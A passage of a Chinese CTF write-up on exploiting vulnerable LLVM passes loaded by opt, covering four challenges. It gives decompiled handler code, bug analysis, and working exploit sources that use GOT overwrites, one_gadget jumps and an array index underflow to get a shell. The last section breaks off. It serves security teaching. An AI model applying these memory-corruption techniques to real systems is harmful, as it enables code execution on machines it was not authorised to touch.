LLVM学习

前置知识

CTF角度来说,会给出一个运行程序opt和一个库xx.so,然后做题需要提供一个exp.ll,传递给opt。这个exp.ll是通过exp.c进行中间表达式生成的,是exp.c在程序中的一个比较直观的结构,类似如下

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <unistd.h>

int main() {
char name[0x10];
read(0,name,0x10);
write(1,name,0x10);
printf("bye\n");
}

使用命令clang -emit-llvm -S exp.c -o exp.ll得到如下的exp.ll直观的程序中间结构表达式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
; ModuleID = 'main.c'
source_filename = "main.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

@.str = private unnamed_addr constant [5 x i8] c"bye\0A\00", align 1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
%1 = alloca [16 x i8], align 16
%2 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0
%3 = call i64 @read(i32 0, i8* %2, i64 16)
%4 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0
%5 = call i64 @write(i32 1, i8* %4, i64 16)
%6 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
ret i32 0
}

declare dso_local i64 @read(i32, i8*, i64) #1

declare dso_local i64 @write(i32, i8*, i64) #1

declare dso_local i32 @printf(i8*, ...) #1

attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 10.0.0-4ubuntu1 "}

opt在运行时,加载xx.so,而xx.sorunOnFunction函数会对exp.ll中的函数进行一个对应的解析操作。比如遍历exp.ll中的函数,如果调用了add函数,就获取add函数的第一个参数a1,依据a1的值对全局变量p指针进行加操作,其他的依据write函数什么的进行写操作从而造成任意写漏洞等等。

具体的可以看:[原创] LLVM PASS PWN 总结-Pwn-看雪-安全社区|安全招聘|kanxue.com

题目

RedHat2021-simpleVM

漏洞分析

分析VMPass.soAlt+T搜索一下vtable,找到最后一个函数即为runOnFunction

image-20230828105741726

进入查看进行分析,如果有函数o0o0o0o0,则进入sub_6AC0进行处理

image-20230828105832996

然后在sub_6AC0函数中在进行循环分析,对每个基本块进行了遍历处理,处理函数为sub_6B80

image-20230828110053292

进入sub_6B80函数,大致分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
__int64 __fastcall sub_6B80(__int64 a1, llvm::BasicBlock *a2)
{
llvm::Value *CalledFunction; // rax
void **v3; // rax
void **v4; // rax
llvm::ConstantInt *v6; // [rsp+18h] [rbp-1B8h]
__int64 v7; // [rsp+20h] [rbp-1B0h]
__int64 v8; // [rsp+28h] [rbp-1A8h]
llvm::ConstantInt *v9; // [rsp+30h] [rbp-1A0h]
_QWORD *v10; // [rsp+38h] [rbp-198h]
__int64 v11; // [rsp+40h] [rbp-190h]
llvm::ConstantInt *v12; // [rsp+50h] [rbp-180h]
__int64 v13; // [rsp+58h] [rbp-178h]
__int64 v14; // [rsp+60h] [rbp-170h]
llvm::ConstantInt *v15; // [rsp+68h] [rbp-168h]
_QWORD *v16; // [rsp+70h] [rbp-160h]
__int64 v17; // [rsp+78h] [rbp-158h]
__int64 v18; // [rsp+A0h] [rbp-130h]
llvm::ConstantInt *v19; // [rsp+A8h] [rbp-128h]
void *v20; // [rsp+B0h] [rbp-120h]
__int64 v21; // [rsp+B8h] [rbp-118h]
__int64 v22; // [rsp+E0h] [rbp-F0h]
llvm::ConstantInt *v23; // [rsp+E8h] [rbp-E8h]
void *v24; // [rsp+F0h] [rbp-E0h]
__int64 v25; // [rsp+F8h] [rbp-D8h]
__int64 v26; // [rsp+110h] [rbp-C0h]
llvm::ConstantInt *v27; // [rsp+118h] [rbp-B8h]
_QWORD *v28; // [rsp+120h] [rbp-B0h]
__int64 v29; // [rsp+128h] [rbp-A8h]
__int64 ZExtValue; // [rsp+140h] [rbp-90h]
llvm::ConstantInt *v31; // [rsp+148h] [rbp-88h]
_QWORD *v32; // [rsp+150h] [rbp-80h]
__int64 ArgOperand; // [rsp+158h] [rbp-78h]
char *s1; // [rsp+168h] [rbp-68h]
llvm::CallBase *v35; // [rsp+170h] [rbp-60h]
llvm::Instruction *v36; // [rsp+180h] [rbp-50h]
_QWORD *Name; // [rsp+1A8h] [rbp-28h]
__int64 v38; // [rsp+1B8h] [rbp-18h] BYREF
__int64 v39[2]; // [rsp+1C0h] [rbp-10h] BYREF

v39[1] = __readfsqword(0x28u);
v39[0] = llvm::BasicBlock::begin(a2);
while ( 1 )
{
v38 = llvm::BasicBlock::end(a2);
if ( (llvm::operator!=(v39, &v38) & 1) == 0 )//基本是固定的LLVM遍历套路
break;
v36 = (llvm::Instruction *)llvm::dyn_cast<llvm::Instruction,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>>(v39);
//这里的55即操作码,查询对应文档为PHINode操作码,不是很懂这个
if ( (unsigned int)llvm::Instruction::getOpcode(v36) == 55 )
{
//获取指令
v35 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v36);
if ( v35 )
{
s1 = (char *)malloc(0x20uLL);
//获取函数名称
CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v35);
Name = (_QWORD *)llvm::Value::getName(CalledFunction);
*(_QWORD *)s1 = *Name;
*((_QWORD *)s1 + 1) = Name[1];
*((_QWORD *)s1 + 2) = Name[2];
*((_QWORD *)s1 + 3) = Name[3];
//处理pop函数
if ( !strcmp(s1, "pop") )
{
//如果函数参数是2,这里把pop函数名称本身当作了一个参数,所以实际上pop函数应该只有一个参数
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
//获取pop函数的第一个参数
ArgOperand = llvm::CallBase::getArgOperand(v35, 0);
v32 = 0LL;
v31 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOperand);
if ( v31 )
{
//解析参数值
ZExtValue = llvm::ConstantInt::getZExtValue(v31);
if ( ZExtValue == 1 )
v32 = off_20DFD0;
if ( ZExtValue == 2 )
v32 = off_20DFC0;
}
//做一些操作,实际调试一下就行
if ( v32 )
{
v3 = off_20DFD8;
*v32 = *(_QWORD *)*off_20DFD8;
*v3 = (char *)*v3 - 8;
}
}
}
//和pop类似
else if ( !strcmp(s1, "push") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
v29 = llvm::CallBase::getArgOperand(v35, 0);
v28 = 0LL;
v27 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v29);
if ( v27 )
{
v26 = llvm::ConstantInt::getZExtValue(v27);
if ( v26 == 1 )
v28 = off_20DFD0;
if ( v26 == 2 )
v28 = off_20DFC0;
}
if ( v28 )
{
v4 = off_20DFD8;
*off_20DFD8 = (char *)*off_20DFD8 + 8;
*(_QWORD *)*v4 = *v28;
}
}
}
//1:**off_20DFD0 = *off_20DFC0
//2:**off_20DFC0 = *off_20DFD0
else if ( !strcmp(s1, "store") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
v25 = llvm::CallBase::getArgOperand(v35, 0);
v24 = 0LL;
v23 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v25);
if ( v23 )
{
v22 = llvm::ConstantInt::getZExtValue(v23);
if ( v22 == 1 )
v24 = off_20DFD0;
if ( v22 == 2 )
v24 = off_20DFC0;
}
if ( v24 == off_20DFD0 )
{
**(_QWORD **)off_20DFD0 = *(_QWORD *)off_20DFC0;
}
else if ( v24 == off_20DFC0 )
{
**(_QWORD **)off_20DFC0 = *(_QWORD *)off_20DFD0;
}
}
}
//arg0: 1 -> *off_20DFD0 = **off_20DFC0
//arg0: 2 -> *off_20DFC0 = **off_20DFD0
else if ( !strcmp(s1, "load") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
v21 = llvm::CallBase::getArgOperand(v35, 0);
v20 = 0LL;
v19 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v21);
if ( v19 )
{
v18 = llvm::ConstantInt::getZExtValue(v19);
if ( v18 == 1 )
v20 = off_20DFD0;
if ( v18 == 2 )
v20 = off_20DFC0;
}
if ( v20 == off_20DFD0 )
*(_QWORD *)off_20DFC0 = **(_QWORD **)off_20DFD0;
if ( v20 == off_20DFC0 )
*(_QWORD *)off_20DFD0 = **(_QWORD **)off_20DFC0;
}
}
//arg0: 1 -> *off_20DFD0 += arg1
//arg0: 2 -> *off_20DFC0 += arg1
else if ( !strcmp(s1, "add") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
{
v17 = llvm::CallBase::getArgOperand(v35, 0);
v16 = 0LL;
v15 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v17);
if ( v15 )
{
v14 = llvm::ConstantInt::getZExtValue(v15);
if ( v14 == 1 )
v16 = off_20DFD0;
if ( v14 == 2 )
v16 = off_20DFC0;
}
if ( v16 )
{
v13 = llvm::CallBase::getArgOperand(v35, 1u);
v12 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v13);
if ( v12 )
*v16 += llvm::ConstantInt::getZExtValue(v12);
}
}
}
//arg0: 1 -> *off_20DFD0 -= arg1
//arg0: 2 -> *off_20DFC0 -= arg1
else if ( !strcmp(s1, "min") && (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
{
v11 = llvm::CallBase::getArgOperand(v35, 0);
v10 = 0LL;
v9 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v11);
if ( v9 )
{
v8 = llvm::ConstantInt::getZExtValue(v9);
if ( v8 == 1 )
v10 = off_20DFD0;
if ( v8 == 2 )
v10 = off_20DFC0;
}
if ( v10 )
{
v7 = llvm::CallBase::getArgOperand(v35, 1u);
v6 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v7);
if ( v6 )
*v10 -= llvm::ConstantInt::getZExtValue(v6);
}
}
free(s1);
}
}
llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator++(
v39,
0LL);
}
return 1LL;
}

总体总结如下,poppush与漏洞没什么关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
store:
arg0:1 -> **off_20DFC0 = *off_20DFD0
arg0:2 -> **off_20DFD0 = *off_20DFC0

load:
arg0: 1 -> *off_20DFC0 = **off_20DFD0
arg0: 2 -> *off_20DFD0 = **off_20DFC0

add:
arg0: 1 -> *off_20DFD0 += arg1
arg0: 2 -> *off_20DFC0 += arg1

min:
arg0: 1 -> *off_20DFD0 -= arg1
arg0: 2 -> *off_20DFC0 -= arg1

相当于现在可控任意两个指针reg1/reg2,并且可以取其中一个指针的值赋值给另一个指针。

简单调试

先写一下简单程序调试一下,由于题目给的是opt-8,所以最好我们安装的也是对应版本的,即

1
2
sudo apt install clang-8
sudo apt install llvm-8

对应的调试程序为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void add(int num, long long val);
void min(int num, long long val);
void load(int num);
void store(int num);

void o0o0o0o0()
{
load(1);
load(2);
store(1);
store(2);
add(1, 0x1000);
add(2, 0x1000);
min(1, 0x1000);
min(1, 0x1000);

}

使用命令clang-8 -emit-llvm -S myDebug.c -o myDebug.ll编译生成myDebug,随后在IDA进行远程调试,如下配置

image-20230828150159620

即可进行调试,通过调试可以想出利用步骤如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
reg1 = 0
reg2 = 0

add(1,free_got)
//控制reg1指针为opt程序中的got表地址free_got
reg1 += free_got

load(1)
reg2 = *reg1 = free_addr
//使得reg2指针为free_addr

add(2,offset)
//使得reg2指针为one_gadget

store(1)
//将reg2指针的值one_gadget赋值给reg1指向的值,即修改free_got为one_gadget

漏洞利用

checksec一下opt,一般不存在PIE,那么指向opt程序的got表就很轻松了,最终exp如下

1
2
3
4
5
6
7
8
9
10
void store(int a);
void load(int a);
void add(int a, int b);

void o0o0o0o0(){
add(1, 0x77e100);
load(1);
add(2, 0 - 0x9a6d0 + 0xe3b04);
store(1);
}

使用命令编译后运行即可

1
2
clang-8 -emit-llvm -S myExp.c -o myExp.ll
opt-8 -load ./VMPass.so -VMPass myExp.ll

需要注意的是,这里修改的是opt程序中的free_got,也需要程序opt程序调用才行,同时满足一些寄存器的设置,那么有时候可能不太满足One_gadget,那么多试试几个got也行。另外IDA远程调试的时候一些偏移可能有点问题,最好还是在gdb中寻找,使用如下命令

1
2
gdb ./opt-8
set args -load ./VMPass.so -VMPass ./myExp.ll

同时有时候从opt-8开始的时候不好确定加载的.so是在什么时候加载的,通常是winmt师傅找到的如下情况

img

CISCN-2021-satool

漏洞分析

分析漏洞,老套路,搜索vtablestart函数,得到runOnFunction函数和位置注册名为SAPass,进入分析

image-20230829094305721

image-20230829094320046

进入runOnFunction进行分析,首先是获取到解析的函数名称,这是硬编码的小端序

image-20230829094428297

image-20230829094523936

那么实际匹配的函数名称应该为B4ckDo0r,之后就有一堆奇奇怪怪的代码,暂时先不用管,仔细寻找字符串匹配的

image-20230829094630811

image-20230829094642785

image-20230829094654104

image-20230829094701499

简单调试

再简单写一个例子,通过调试进行分析,可以确定大致的函数名称、参数对应的模板如下

1
2
3
4
5
6
7
8
9
10
11
12
13
void save(char *a, char *b);
void stealkey();
void fakekey(long long x);
void run();

void B4ckDo0r()
{
save("", "");
takeaway(0);
stealkey();
fakekey(0x1111);
run();
}

在调试过程中发现涉及到堆,但是IDA不太好查看堆的结构,可以用一下插件:danigargu/heap-viewer: IDA Pro plugin to examine the glibc heap, focused on exploit development (github.com)

最终发现那一堆乱七八糟的代码都是一些检查,最终的函数大致功能如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
save:
save(arg0,arg1);
byte_2040f8 = chunk_addr
//申请0x18的chunk,将arg0的内容放到chunk,arg1的内容放到chunk + 8
//如果申请了0x10及以上的chunk,由于判断代码会导致释放,不过其实也可以溢出的,只是会释放而已。
//这个应该也可以进行相关利用的

takeaway:
//不分析,和漏洞无关


stealkey:
stealkey()
//将*byte_2040f8赋值给byte_204100

fakekey:
fakekey(arg0)
*byte_2040f8 = byte_204100 + arg0

run:
*byte_2040f8()

漏洞利用

那么申请残留libcchunk,修改残留的libc地址为one_gadget即可,然后run即可完成利用,在savemalloc之前下断点,查看堆状态

image-20230829141734303

image-20230829141743890

tcache有一个0x20chunk,随后就会从smallbins中申请,那么申请两次之后,得到残留libcchunk,然后使用stealkey将残留libc赋值给byte_204100,之后又使用fakekey进行修改将byte_204100的残留libc进行加减操作得到one_gadget,赋值给*byte_2040f8,通过run调用*byte_2040f8即可调用到one_gadget

最终exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// clang-8 -emit-llvm -S exp.c -o exp.ll
void save(char *a, char *b);
void stealkey();
void fakekey(long long x);
void run();

void B4ckDo0r()
{
save("\n", "\n");
save("", "\n");
stealkey();
fakekey(-0x1ecbf0+0xe3afe);
run();
}

强网杯-2022 yakagame

漏洞分析

直接shift+F12查看字符串,发现flag,交叉引用进入查看

image-20230829145039943

sub_C650查看是注册函数,依照惯例注册名应该为ayaka通过vtable找到runOnFunction

image-20230829145538577

处理函数为gamestart,分析找到内部处理函数有fight,并且满足score达成目标之后可以调用到后门,

image-20230829145854503

image-20230829145951845

那么主要分析点就是如何操作的score以及cmd如何赋值。经过分析,重点的漏洞在else分支

image-20230829171103523

else分支中,不满足以上所有函数的匹配的其他函数,会进入该分支,遍历funMap,如果funMap中存在对应关系funMap[func_name] = value,则作weaponlist[idx] = value操作,如果不存在,则添加对应关系funMap[func_name] = value

这里的idxchar型的,在每一次进入else分支都会进行遍历funMap的,那么funMap中如果存在很多项,导致匹配到某个已存在的函数时,idx-128~-1之间,那么就会导致weaponlist数组向上溢出了,从而能够覆盖到在weaponlist上方的scorecmd,完成劫持利用。

漏洞利用

那么就通过计算生成对应idx的函数进行覆盖即可,cmd可以让其指向opt程序中sh的指针,最终winmt师傅的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
// clang-8 -emit-llvm -S exp.c -o exp.ll
void winmt000(int x);
void winmt001(int x);
void winmt002(int x);
void winmt003(int x);
void winmt004(int x);
void winmt005(int x);
void winmt006(int x);
void winmt007(int x);
void winmt008(int x);
void winmt009(int x);
void winmt010(int x);
void winmt011(int x);
void winmt012(int x);
void winmt013(int x);
void winmt014(int x);
void winmt015(int x);
void winmt016(int x);
void winmt017(int x);
void winmt018(int x);
void winmt019(int x);
void winmt020(int x);
void winmt021(int x);
void winmt022(int x);
void winmt023(int x);
void winmt024(int x);
void winmt025(int x);
void winmt026(int x);
void winmt027(int x);
void winmt028(int x);
void winmt029(int x);
void winmt030(int x);
void winmt031(int x);
void winmt032(int x);
void winmt033(int x);
void winmt034(int x);
void winmt035(int x);
void winmt036(int x);
void winmt037(int x);
void winmt038(int x);
void winmt039(int x);
void winmt040(int x);
void winmt041(int x);
void winmt042(int x);
void winmt043(int x);
void winmt044(int x);
void winmt045(int x);
void winmt046(int x);
void winmt047(int x);
void winmt048(int x);
void winmt049(int x);
void winmt050(int x);
void winmt051(int x);
void winmt052(int x);
void winmt053(int x);
void winmt054(int x);
void winmt055(int x);
void winmt056(int x);
void winmt057(int x);
void winmt058(int x);
void winmt059(int x);
void winmt060(int x);
void winmt061(int x);
void winmt062(int x);
void winmt063(int x);
void winmt064(int x);
void winmt065(int x);
void winmt066(int x);
void winmt067(int x);
void winmt068(int x);
void winmt069(int x);
void winmt070(int x);
void winmt071(int x);
void winmt072(int x);
void winmt073(int x);
void winmt074(int x);
void winmt075(int x);
void winmt076(int x);
void winmt077(int x);
void winmt078(int x);
void winmt079(int x);
void winmt080(int x);
void winmt081(int x);
void winmt082(int x);
void winmt083(int x);
void winmt084(int x);
void winmt085(int x);
void winmt086(int x);
void winmt087(int x);
void winmt088(int x);
void winmt089(int x);
void winmt090(int x);
void winmt091(int x);
void winmt092(int x);
void winmt093(int x);
void winmt094(int x);
void winmt095(int x);
void winmt096(int x);
void winmt097(int x);
void winmt098(int x);
void winmt099(int x);
void winmt100(int x);
void winmt101(int x);
void winmt102(int x);
void winmt103(int x);
void winmt104(int x);
void winmt105(int x);
void winmt106(int x);
void winmt107(int x);
void winmt108(int x);
void winmt109(int x);
void winmt110(int x);
void winmt111(int x);
void winmt112(int x);
void winmt113(int x);
void winmt114(int x);
void winmt115(int x);
void winmt116(int x);
void winmt117(int x);
void winmt118(int x);
void winmt119(int x);
void winmt120(int x);
void winmt121(int x);
void winmt122(int x);
void winmt123(int x);
void winmt124(int x);
void winmt125(int x);
void winmt126(int x);
void winmt127(int x);
void winmt128(int x);
void winmt129(int x);
void winmt130(int x);
void winmt131(int x);
void winmt132(int x);
void winmt133(int x);
void winmt134(int x);
void winmt135(int x);
void winmt136(int x);
void winmt137(int x);
void winmt138(int x);
void winmt139(int x);
void winmt140(int x);
void winmt141(int x);
void winmt142(int x);
void winmt143(int x);
void winmt144(int x);
void winmt145(int x);
void winmt146(int x);
void winmt147(int x);
void winmt148(int x);
void winmt149(int x);
void winmt150(int x);
void winmt151(int x);
void winmt152(int x);
void winmt153(int x);
void winmt154(int x);
void winmt155(int x);
void winmt156(int x);
void winmt157(int x);
void winmt158(int x);
void winmt159(int x);
void winmt160(int x);
void winmt161(int x);
void winmt162(int x);
void winmt163(int x);
void winmt164(int x);
void winmt165(int x);
void winmt166(int x);
void winmt167(int x);
void winmt168(int x);
void winmt169(int x);
void winmt170(int x);
void winmt171(int x);
void winmt172(int x);
void winmt173(int x);
void winmt174(int x);
void winmt175(int x);
void winmt176(int x);
void winmt177(int x);
void winmt178(int x);
void winmt179(int x);
void winmt180(int x);
void winmt181(int x);
void winmt182(int x);
void winmt183(int x);
void winmt184(int x);
void winmt185(int x);
void winmt186(int x);
void winmt187(int x);
void winmt188(int x);
void winmt189(int x);
void winmt190(int x);
void winmt191(int x);
void winmt192(int x);
void winmt193(int x);
void winmt194(int x);
void winmt195(int x);
void winmt196(int x);
void winmt197(int x);
void winmt198(int x);
void winmt199(int x);
void winmt200(int x);
void winmt201(int x);
void winmt202(int x);
void winmt203(int x);
void winmt204(int x);
void winmt205(int x);
void winmt206(int x);
void winmt207(int x);
void winmt208(int x);
void winmt209(int x);
void winmt210(int x);
void winmt211(int x);
void winmt212(int x);
void winmt213(int x);
void winmt214(int x);
void winmt215(int x);
void winmt216(int x);
void winmt217(int x);
void winmt218(int x);
void winmt219(int x);
void winmt220(int x);
void winmt221(int x);
void winmt222(int x);
void winmt223(int x);
void winmt224(int x);
void winmt225(int x);
void winmt226(int x);
void winmt227(int x);
void winmt228(int x);
void winmt229(int x);
void winmt230(int x);
void winmt231(int x);
void winmt232(int x);
void winmt233(int x);
void winmt234(int x);
void winmt235(int x);
void winmt236(int x);
void winmt237(int x);
void winmt238(int x);
void winmt239(int x);
void winmt240(int x);

void fight(int x);

void gamestart()
{
winmt000(0);
winmt001(0);
winmt002(0);
winmt003(0);
winmt004(0);
winmt005(0);
winmt006(0);
winmt007(0);
winmt008(0);
winmt009(0);
winmt010(0);
winmt011(0);
winmt012(0);
winmt013(0);
winmt014(0);
winmt015(0);
winmt016(0);
winmt017(0);
winmt018(0);
winmt019(0);
winmt020(0);
winmt021(0);
winmt022(0);
winmt023(0);
winmt024(0);
winmt025(0);
winmt026(0);
winmt027(0);
winmt028(0);
winmt029(0);
winmt030(0);
winmt031(0);
winmt032(0);
winmt033(0);
winmt034(0);
winmt035(0);
winmt036(0);
winmt037(0);
winmt038(0);
winmt039(0);
winmt040(0);
winmt041(0);
winmt042(0);
winmt043(0);
winmt044(0);
winmt045(0);
winmt046(0);
winmt047(0);
winmt048(0);
winmt049(0);
winmt050(0);
winmt051(0);
winmt052(0);
winmt053(0);
winmt054(0);
winmt055(0);
winmt056(0);
winmt057(0);
winmt058(0);
winmt059(0);
winmt060(0);
winmt061(0);
winmt062(0);
winmt063(0);
winmt064(0);
winmt065(0);
winmt066(0);
winmt067(0);
winmt068(0);
winmt069(0);
winmt070(0);
winmt071(0);
winmt072(0);
winmt073(0);
winmt074(0);
winmt075(0);
winmt076(0);
winmt077(0);
winmt078(0);
winmt079(0);
winmt080(0);
winmt081(0);
winmt082(0);
winmt083(0);
winmt084(0);
winmt085(0);
winmt086(0);
winmt087(0);
winmt088(0);
winmt089(0);
winmt090(0);
winmt091(0);
winmt092(0);
winmt093(0);
winmt094(0);
winmt095(0);
winmt096(0);
winmt097(0);
winmt098(0);
winmt099(0);
winmt100(0);
winmt101(0);
winmt102(0);
winmt103(0);
winmt104(0);
winmt105(0);
winmt106(0);
winmt107(0);
winmt108(0);
winmt109(0);
winmt110(0);
winmt111(0);
winmt112(0);
winmt113(0);
winmt114(0);
winmt115(0);
winmt116(0);
winmt117(0);
winmt118(0);
winmt119(0);
winmt120(0);
winmt121(0);
winmt122(0);
winmt123(0);
winmt124(0);
winmt125(0);
winmt126(0);
winmt127(0);
winmt128(0);
winmt129(0);
winmt130(0);
winmt131(0);
winmt132(0);
winmt133(0);
winmt134(0);
winmt135(0);
winmt136(0);
winmt137(0);
winmt138(0);
winmt139(0);
winmt140(0);
winmt141(0);
winmt142(0);
winmt143(0);
winmt144(0);
winmt145(0);
winmt146(0);
winmt147(0);
winmt148(0);
winmt149(0);
winmt150(0);
winmt151(0);
winmt152(0);
winmt153(0);
winmt154(0);
winmt155(0);
winmt156(0);
winmt157(0);
winmt158(0);
winmt159(0);
winmt160(0);
winmt161(0);
winmt162(0);
winmt163(0);
winmt164(0);
winmt165(0);
winmt166(0);
winmt167(0);
winmt168(0);
winmt169(0);
winmt170(0);
winmt171(0);
winmt172(0);
winmt173(0);
winmt174(0);
winmt175(0);
winmt176(0);
winmt177(0);
winmt178(0);
winmt179(0);
winmt180(0);
winmt181(0);
winmt182(0);
winmt183(0);
winmt184(0);
winmt185(0);
winmt186(0);
winmt187(0);
winmt188(0);
winmt189(0);
winmt190(0);
winmt191(0);
winmt192(0);
winmt193(0);
winmt194(0);
winmt195(0);
winmt196(0);
winmt197(0);
winmt198(0);
winmt199(0);
winmt200(0);
winmt201(0);
winmt202(0);
winmt203(0);
winmt204(0);
winmt205(0);
winmt206(0);
winmt207(0);
winmt208(0);
winmt209(0);
winmt210(0);
winmt211(0);
winmt212(0);
winmt213(0);
winmt214(0);
winmt215(0);
winmt216(0);
winmt217(0);
winmt218(0);
winmt219(0);
winmt220(0);
winmt221(0);
winmt222(0);
winmt223(0);
winmt224(0);
winmt225(0);
winmt226(0);
winmt227(0);
winmt228(0);
winmt229(0);
winmt230(0);
winmt231(0);
winmt232(0x6B);
winmt233(0x69);
winmt234(0x44);
winmt235(0x00);
winmt236(0);
winmt237(0);
winmt238(0);
winmt239(0);
winmt240(0x90);

winmt240(0x90);
winmt232(0x6B);
winmt233(0x69);
winmt234(0x44);
winmt235(0x00);

fight(0);
}

CISCN-2022 satool

漏洞分析

常见的找到处理函数runOnFunction和注册名mba,函数名称没有限定,任意函数都可以。

image-20230831092827452

首先是给this[4]可写可执行权限,然后进入handle对其进行操作

image-20230831094134640

handle函数

handle里面针对基本块的操作数的属性(常量/函数参数/本地变量),来调用对应的函数对this进行修改

image-20230831094203070

  • arg0为常量:

    this[12]赋值为0

    • writeMovImm64(this, 0, SExtValue)

      image-20230831094355406

      写入this[5]指针对应内容为\x48\xB8 + a3,这个a3即为基本块的操作数 ,随后this[5]对应指针+10,相当于一次修改10个字节,对应汇编语句为

      image-20230831140633173

    • write(this)

      image-20230831094815416

      写入this[5]指针对应内容为\xc3,对应汇编为ret

      总的来说就是写入(\x48\xB8 + a3)再写入\xc3

  • arg0为函数参数:

    image-20230831140800260

